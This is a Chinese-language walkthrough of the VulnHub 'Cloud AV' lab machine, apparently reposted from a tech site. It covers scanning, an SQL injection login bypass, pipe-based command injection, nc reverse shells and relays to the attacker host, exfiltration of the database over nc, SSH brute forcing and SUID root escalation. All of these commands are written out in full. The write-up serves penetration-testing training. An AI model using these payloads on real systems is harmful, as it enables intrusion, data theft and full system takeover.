0x00 靶機介紹
靶機地址:BoredHackerBlog: Cloud AV ~ VulnHub
靶機難度:低(思路和技巧)
推薦虛擬機:VirtualBox
0x01 內容簡介
-
涉及的攻擊方法
- 埠掃描
- WEB偵查
- SQL注入
- 命令注入
- 密碼爆破
- 代碼審計
- NC串聯
- 本地提權
-
簡介
雖說難度級別為低,但是從還原整個滲透程序的角度來看,這個靶機非常全面,
為了更加全面的還原真實滲透思路,所以即便是失敗的嘗試程序,我也為大家完整的進行了展示,同時最終的總結階段,我增加了圖示來突出滲透程序的線索,希望將成果與識訓沉淀下來,成為學員頭腦中可復用的經驗,
-
背景
- 是一個云防病毒掃描服務!目前處于測驗階段
-
打靶目標
- 滲透該服務,找出漏洞并提權
0x02 環境搭建
下載好靶機.ova檔案后匯入到VirtualBox中即可
確保靶機和kali在同一網段中
kali IP地址:10.0.2.7
0x03 主機發現
因為靶機和kali在同一網段中,所以優先選擇二層的主機發現技術
上次使用了arp-scan這個工具,本次使用arping,做同一件事情使用不同的工具原因如下
arp-scan與arping對比
- 相同點
- 都可用來二層的主機發現
- 不同點
arp-scan更傾向于滲透測驗使用的工具,更接近于黑客工具的定位arping是幾乎所有的Linux發行版當中都會默認包含的一個工具,從工具的廣泛度而言arping可以在更多的環境下使用它,因為在很多情況下,滲透的目標系統可能并不包含像arp-scan這種更傾向于黑客的工具
使用arping進行主機發現,短板是沒有辦法對一段的IP地址進行一次性的,統一的主機發現;所以使用時需要結合shell的回圈陳述句
對kali所在的網段10.0.2.1-10.0.2.254進行掃描
執行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done

10.0.2.1-3這三個IP是虛擬機軟體為了完成基本功能所使用到的IP,所以一定不是靶機IP,故10.0.2.8就為靶機的IP
對10.0.2.8進行全埠的掃描
執行命令:sudo nmap -p- 10.0.2.8

掃描結果顯示開放了22和8080兩個埠,繼續對22和8080兩個埠進行服務版本的發現
執行命令:sudo nmap -p22,8080 -sV 10.0.2.8
這些命令和引數都是非常通用的,即便在真實的滲透環境下,基本上也是按照這樣的順序,先做主機發現,然后做埠掃描,最后再做服務和應用版本的發現

掃描結果顯示
22埠,開放的是OpenSSH 7.6p1這個版本的的SSH服務8080埠,開放的是httpd服務,并且服務端仍然使用的是Werkzeug這個使用python開發的web應用底層開發框架,和靶機01的情況完全相同
0x04 WEB偵察
既然開放了web服務,那么肯定要打開瀏覽器訪問一下:http://10.0.2.8:8080

從頁面的提示資訊中可以得到,這是一個云殺毒掃描器,需要輸入邀請碼成功登錄后才可以使用,云查殺服務,
這里的邀請碼本質上就類似于密碼的作用,頁面中的表單即為要攻破目標靶機的第一關任務
通過密碼來進行身份驗證的功能,攻擊思路一般有兩個
- 利用程式在服務端代碼上的邏輯漏洞,通過sql注入的方式繞過身份驗證
- 暴力破解方式,將密碼破解出來
接下來逐一演示這兩種方法,打靶的時候選擇其中一種就可以了
0x04-1 SQL注入繞過身份驗證
首先打開burpsuite并在瀏覽器上設定好burpsuite的代理
在頁面表單中隨便輸入一點內容,點擊Log in按鈕


可以看到burpsuite抓取到了本次提交的資料包,將其發送到Intruder模塊,利用其批量的,重復的資料提交能力向password這個位置提交一些特殊的符號,來測驗服務端是否包含一些常見的注入漏洞
在Intruder模塊將password添加成資料的注入點

配置Payloads,可以將鍵盤上的所有符號挨個注入一遍
背后的原因是在任何的編程語言環境中,鍵盤上可以輸入的符號,比如:, ' " %,都具有特殊的功能性的作用,當在注入點注入了所有的符號后,如果在這個位置存在某種注入漏洞的話,往往就會導致服務器端代碼執行出錯或者觸發漏洞,造成語意上的歧義,從而造成服務器端無法正常處理提交的請求,最后通過觸發這些漏洞就可以發現服務器端可能存在的注入漏洞,
手動添加或匯入以下內容的字典檔案
`
~
!
@
#
$
%
^
&
*
(
)
-
_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/
添加完成之后,點擊右上角的start attack按鈕,開始爆破

對于資料提交之后的結果篩選通常會有兩種方法
- 通過回應的碼的方式,提交正確的資料和錯誤的資料,往往服務端的回應碼會有些不同

- 通過回應長度的方式,提交正確的資料和錯誤的資料,往往服務端的回應的資料內容會不太相同,資料量是會有所差別的

結果顯示,提交資料為"時服務器端回應碼與其余的不同,而且回應的資料量遠遠大于其他資料提交請求的回應
查看幾個回應碼是200的資料包,發現回傳的內容都是WRONG INFORMATION

再查看回應碼是500的資料包

通過查看回應內容發現,當提交資料為"的時候似乎觸發了服務端的例外報錯
從回傳的報錯中可以看到目標服務器的很多檔案系統路徑,發現當前服務端運行的應用程式具體放置在那個路徑之下,檔案名叫什么,透漏了很多服務端具體的資訊,比如/home/scanner/cloudav_app/app.py
最后一行顯示/home/scanner/cloudav_app/app.py第18行,由于注入了"而導致了這個報錯,其中有一段是sql的查詢陳述句,可以猜測提交的"似乎是被拼接到了當前的sql查詢陳述句當中
拼接sql陳述句的代碼為
select * from code where password="; + password + ";
當提交的資料為"時,sql陳述句就會變成這樣
select * from code where password="; + " + ";
第一個"與我們提交的"進行了閉合,導致了最后一個"沒有另外一個"與其閉合,從而觸發了服務端代碼執行的錯誤
這是一個典型的sql注入漏洞,嘗試構造Payloads,攻擊這條sql陳述句,實作在不知道密碼/邀請碼的情況下也可以登錄后臺
經常使用的一個攻擊方法就是通過邏輯或,Payloads如下
select * from code where password="; + " or 1=1-- + ";
由于or 1=1永遠為真,所以不論雙引號中包裹的是什么資料,最終在執行sql陳述句的程序中都會判定后面的判斷陳述句為真
-- 表示的是sql陳述句中注釋符(注意后面--還有有一個空格)
關閉burpsuite資料包攔截功能,通過瀏覽器提交構造的Payloads
" or 1=1--

點擊log in按鈕,提交到服務端

成功登錄到了后臺,從頁面內容中可以得知,在表單中輸入檔案名,提交到服務端之后,服務端就會對這個檔案進行查殺
0x04-2 暴力破解邀請碼
首先打開burpsuite并在瀏覽器上設定好burpsuite的代理
在頁面表單中隨便輸入一點內容,點擊Log in按鈕


可以看到burpsuite抓取到了本次提交的資料包,將其發送到Intruder模塊,利用其批量的,重復的資料提交能力向password這個位置嘗試進行爆破
在Intruder模塊將password添加成爆破點

選擇爆破密碼使用的字典檔案

在kali的/usr/share/wordlists目錄下存放著很多的密碼字典檔案可供選擇,本次就選擇一個比較簡單的,比如nmap.lst這個nmap通常使用的字典檔案
加載好密碼字典檔案后,點擊右上角的Start attack按鈕開始爆破

對于資料提交之后的結果篩選通常會有兩種方法
- 通過回應的碼的方式,提交正確的資料和錯誤的資料,往往服務端的回應碼會有些不同

- 通過回應長度的方式,提交正確的資料和錯誤的資料,往往服務端的回應的資料內容會不太相同,資料量是會有所差別的

結果顯示,提交password的服務器回應資料量遠遠大于其他資料提交請求的回應
查看幾個回應資料長度是175的資料包,發現回傳的內容都是WRONG INFORMATION

查看唯一一個回傳資料包長度是345的回應

發現當提交資料為password時,服務端回傳的回應包含重定向,重定向到了/scan路徑下
嘗試在瀏覽器表單中輸入password并提交

點擊log in按鈕,提交到服務端

成功登錄到了后臺,從頁面內容中可以得知,在表單中輸入檔案名,提交到服務端之后,服務端就會對這個檔案進行查殺
0x05 命令注入
構想一下這個web應用程式是如何實作防病毒掃描的

首先對于紅框中的部分,很容易聯想到在Linux系統中執行ls -l回傳的結果,所以有理由猜測顯示的檔案就是放置在服務端的一些檔案
可以猜測,當在表單中輸入某個檔案名比如hello并提交給服務器后,服務器端可能會呼叫某種殺毒軟體比如xxxscan,執行命令xxxscan hello,來進行掃描
如果真是這樣的話就可以利用Linux shell中的管道符來執行其他的命令
管道符號,是Linux一個很強大的功能,符號為一條豎線:"|",
用法:command 1 | command 2
功能是把第一個命令command 1執行的結果作為command2的輸入傳給第二個命令command 2
利用管道構造Payloads
hello | id
在瀏覽器的表單中提交Payloads

等待片刻之后,發現注入的id命令的確被服務端執行了

結果顯示當前程式運行的賬號是scanner,既然命令注入漏洞已證實存在,接下來就可以通過注入更多的執行來完成反彈shell的目的
0x06 NC串聯
通過之前的掃描結果可以得知服務器端有Python的執行環境,所以可以使用靶機01中的Python反彈shell代碼
但是在這里介紹一種新的方式,使用nc命令
查看服務器端是否有nc命令,構造Payloads
hello | which nc
在瀏覽器的表單中提交Payloads,等待片刻之后

結果顯示服務器端包含有nc這個命令,那么接下來就可以使用nc來反彈shell
首先在kali端啟動偵聽
執行命令:nc -nvlp 4444

通常情況下nc命令都會有一個-e引數,可以指定在連接成功后,執行一個shell的終端,將接收到的資料放到shell終端中執行并回傳結果
利用nc命令反彈shell,構造Payloads
hello | nc 10.0.2.7 4444 -e /bin/sh
在瀏覽器的表單中提交Payloads,等待一段時間之后,發現kali上的nc并沒有接收到反彈的shell連接,這是因為
nc命令有很多的版本,在每一個Linux發行版當中都可能使用不同的版本,有的版本帶-e引數,有的版本不帶-e引數
將-e引數去掉,看看能不能連接成功
構造Payloads
hello | nc 10.0.2.7 4444
在瀏覽器的表單中提交Payloads,等待片刻之后,發現服務端nc的基本連接成功可以正常使用

也就意味著服務器端nc的確存在且可以正常使用,只是不帶-e引數
對于此種情況可以利用到一個使用nc的技巧,叫做
nc串聯
具體使用方法是
nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444
執行的邏輯是:nc 10.0.2.7 3333接收來自遠程的命令,通過管道符|將命令傳遞給/bin/bash來執行,再次通過管道符|將命令執行的結果傳輸給nc 10.0.2.7 4444
利用此種方法需要再kali上開啟兩個偵聽埠
執行命令:nc -nvlp 3333
? nc -nvlp 4444

構造Payloads
hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444
在瀏覽器的表單中提交Payloads,等待片刻之后

3333埠和4444埠連接都建立成功,并且在3333埠上輸入命令,執行的結果會在4444埠這邊顯示出來,利用nc命令反彈shell成功
0x07 查看SQLite資料庫
通過以上的ls命令可以看出在當前目錄下存在app.py和database.sql等4個檔案
首先對app.py進行代碼審計一下,查看是否有提權的漏洞
執行命令:cat app.py

一番審計過后,并沒有發現什么后期提權為root用戶似乎并沒有什么幫助
再來關注一下database.sql檔案,使用file命令查看檔案的格式
file命令用來識別檔案型別,也可用來辨別一些檔案的編碼格式,它是通過查看檔案的頭部資訊來獲取檔案型別,而不是像Windows通過擴展名來確定檔案型別的,
執行命令:file database.sql

從結果中可以得知這是一個SQLite 3.x的資料庫檔案,結合之前sql注入回傳的報錯資訊,有理由懷疑這個資料庫檔案就是web應用程式服務端使用的資料庫,因為SQLite就是一個本地的資料庫,資料庫的內容都是以資料庫檔案的方式存放在目標服務器的檔案目錄下
這里面是否包括一些機密的資訊呢?有理由要查看一下,嘗試打開這個資料庫檔案
執行命令:sqlite
? sqlite3

執行命令之后無任何回顯結果,說明在目標靶機上沒有sqlite決議環境,所以不得不將database.sql資料庫檔案下載到kali上進行決議
通過nc命令來傳輸檔案
首先在kali上偵聽一個埠,并將接收到的資料轉發到db.sql這個檔案當中
執行命令:nc -nvlp 5555 > db.sql

在目標靶機上,通過nc連接kali,并通過重定向命令發送檔案
執行命令:nc 10.0.2.7 5555 < database.sql


命令執行完畢之后,在kali端接收到了連接,因為database.sql檔案不是很大,很快就可以傳輸完畢,所以等待一會之后就可以結束nc在5555埠上的連接
查看當前目錄

db.sql已經創建成功,使用kali中的sqlite打開資料庫檔案,
執行命令:sqlite3 ,進入sqlite的命令提示符下

接著查看資料庫的內容

從顯示的資料中可以看到,資料表code中只有一個欄位password,其中匯入了四個密碼
0x08 SSH爆破
從資料庫中獲得了四個明文密碼,又由于之前的掃描得知目標系統是開啟SSH服務的,按照流程應該利用賬號及這些密碼嘗試能否成功登錄目標系統
首先查看目標系統中可以登錄的用戶賬號
利用nc在目標系統上執行命令:cat /etc/passwd 或者 cat /etc/passwd | grep /bin/bash

從中可以得到3個可用于登錄系統的賬號
禁止用戶登陸的 /bin/false和/sbin/nologin的區別
1 區別
/bin/false是最嚴格的禁止login選項,一切服務都不能用,
/sbin/nologin只是不允許login系統小技巧:
查看 /etc/passwd檔案,能看到各用戶使用的shell2.1 nologin
當用戶配置成/sbin/nologin時,如果再使用該用戶ssh到linux作業系統,會提示
This account is currently not available.2.2 false
當用戶配置成/bin/false時,ssh之后顯示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root不會有任何提示,用戶切換不過去
將這三個賬號保存為用戶名字典檔案user.txt,內容如下

再將資料庫中的四條密碼保存為密碼檔案pass.txt,內容如下

使用hydra命令對SSH進行爆破
執行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8

執行結果令人失望,沒有在其中得到任何一個可用的賬號密碼,通過賬號密碼遠程登錄目標系統SSH服務的攻擊意圖失敗了...
這是一個失敗的嘗試
當在做真實的滲透測驗攻擊時,經常會收集到看似有用的資訊,比如賬號密碼資訊,但是拿著已經獲得的機密資訊去做進一步攻擊時往往是會失敗的,雖然攻擊結果是失敗的,但是并不代表這這一次的嘗試是無意義的,其實這些看似失敗的嘗試也是在進行滲透測驗攻擊思路中非常重要的一部分,所以當收集到這樣的資訊時,做這樣的嘗試是非常非常有必要的,
0x09 SUID提權
既然通過SSH爆破的攻擊方式失敗了,接下來就不得不在目標系統上進行其他的資訊收集手段尋找可以成功提權的攻擊手段
查看當前目錄及子目錄下的檔案內容,看看有沒有對提權有幫助的資訊

一番查看并沒有尋找對提權到什么有用的資訊
回到上一級目錄,再看看其他的檔案內容資訊

對于其中以.開頭的隱藏檔案也是有必要一個一個檢查的,不過經過一番查看后在這些隱藏檔案中也并沒有發現對做提權攻擊有幫助的資訊
不多啰嗦了,接下來就直奔對做提權攻擊有幫助的目標
可以看到在當前目錄下有update_cloudav和update_cloudav.c這兩個檔案名稱相同的檔案,其中update_cloudav是一個可執行的檔案,那么就有理由懷疑update_cloudav.c是update_cloudav的源代碼檔案
值得注意的是update_cloudav權限是-rwsr-xr-x,是帶suid權限標記位的,更令人驚喜的是這個程式的屬主是root賬號
凡是具有
suid權限標記位的可執行檔案,當這個檔案一旦執行的時候,無論當前是任何用戶賬號,在執行這個檔案后就會默認繼承這個檔案屬主的權限,也就是root的權限可以設想一下如果可以執行
update_cloudav程式,再通過某種命令注入的方法,利用它的suid權限標記位,若利用成功就可以用root權限來執行目標系統中的命令,包括任何可以反彈shell的命令,最終的結果就都會形成獲得了一個root權限的反彈shell
所以suid位也是進行本地提權非常重要的一種手段,當然靶機01使用到的利用內核漏洞進行本地提權的手段也非常重要,它們倆都非常的常用
順著這個思路,為了實作提權,非常有必要查看一下update_cloudav的源代碼檔案,看看這個程式是如何呼叫系統指令,如何跟系統進行互動的
利用nc在目標系統上執行命令:cat update_cloudav.c

簡單查看之后,發現這個C語言源代碼檔案非常的簡單,僅僅時呼叫了系統當時已經存在的程式freshclam,同時強制要求在執行的時候傳遞一個或多個命令列引數,最終將freshclam與傳遞的引數拼接起來執行,
其中freshclam是開源殺毒軟體的ClamAV進行病毒庫更新的程式,參考連接:ClamAV病毒查殺 - 簡書 (jianshu.com)
C語言函式
函式名:setgid - set group identity(設定組ID)
函式名 setuid - set user identity(設定用戶ID)
參考連接:
- setuid與setgid講解 - 簡書 (jianshu.com)
- linux c setuid函式決議_whatday的博客-CSDN博客_linux setuid函式
隨便跟一個引數,執行一下update_cloudav試試

程式似乎報錯了
現在并不清楚關于這個日志檔案
freshclam.log的報錯是否會影響update_cloudav程式的正常運行,進而又是否會影響嘗試利用這個程式的suid權限標記位來達到提權的目的在真實的滲透測驗程序中,很多時候獲得的資訊也并不完整,所以很多情況下都需要大膽嘗試,按照我們頭腦當中構想的滲透思路,通過實踐來驗證我們的攻擊思路
接下來不妨大膽的嘗試一下再次利用NC串聯來構造Payloads,進而反彈shell
構造的Payloads如下
"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"
之所以要用雙引號將所有的內容包裹起來是為了讓update_cloudav這個程式將雙引號中的內容全部作為執行它的命令列引數,從而繼承它的的suid權限,獲得root權限的反彈shell
在執行這個Payloads之前需要在kali行偵聽5555和6666兩個埠
執行命令:nc -nvlp 5555
? nc -nvlp 6666

然后通過nc在目標系統上執行構造的Payloads
執行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

執行完畢后查看kali端偵聽的兩個埠是否建立了連接

可以看到連接成功建立,NC串聯再次成功
可喜可賀,取得了root權限的反彈shell,本次打靶圓滿完成!
0x0a 總結
- 打靶程序圖片概述

- 打靶程序文字概述
- 首先做了主機發現,發現靶機IP地址之后,對它進行了埠掃描以及服務版本的掃描,進而發現了一個作業在目標靶機8080埠的HTTP服務
- 通過瀏覽器訪問8080埠上的WEB服務,在默認的WEB頁面上發現了sql注入漏洞,使用sql注入漏洞或暴力破解邀請碼的方式登錄到了WEB應用的后臺
- 在后臺頁面中,很容易的發現的一個命令注入漏洞,并且利用這個命令注入漏洞獲得了一個反彈shell
- 取得了反彈shell之后,要做的就是在目標靶機上進行資訊收集,在這個階段當中發現了一個資料庫檔案,在其中發現了一些疑似密碼的字串
- 利用這些疑似為密碼的字串嘗試進行SSH密碼暴力破解,然后并沒有成功
- 于是不得不進一步再去收集更多的資訊,最終在目標系統上發現了擁有
suid權限的可執行程式 - 通過代碼審計發現了代碼當中的一些問題,并找到了利用
suid提權漏洞的攻擊方式 - 最終取得了目標靶機的
root權限,完成了整個的打靶程序
- 打靶程序對應的視頻鏈接:點擊查看
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/448150.html
標籤:其他
上一篇:華為云資料庫內核專家為您揭秘MySQL Volcano模型迭代器性能提升千倍的秘密
下一篇:3D視覺 之 線激光3D相機
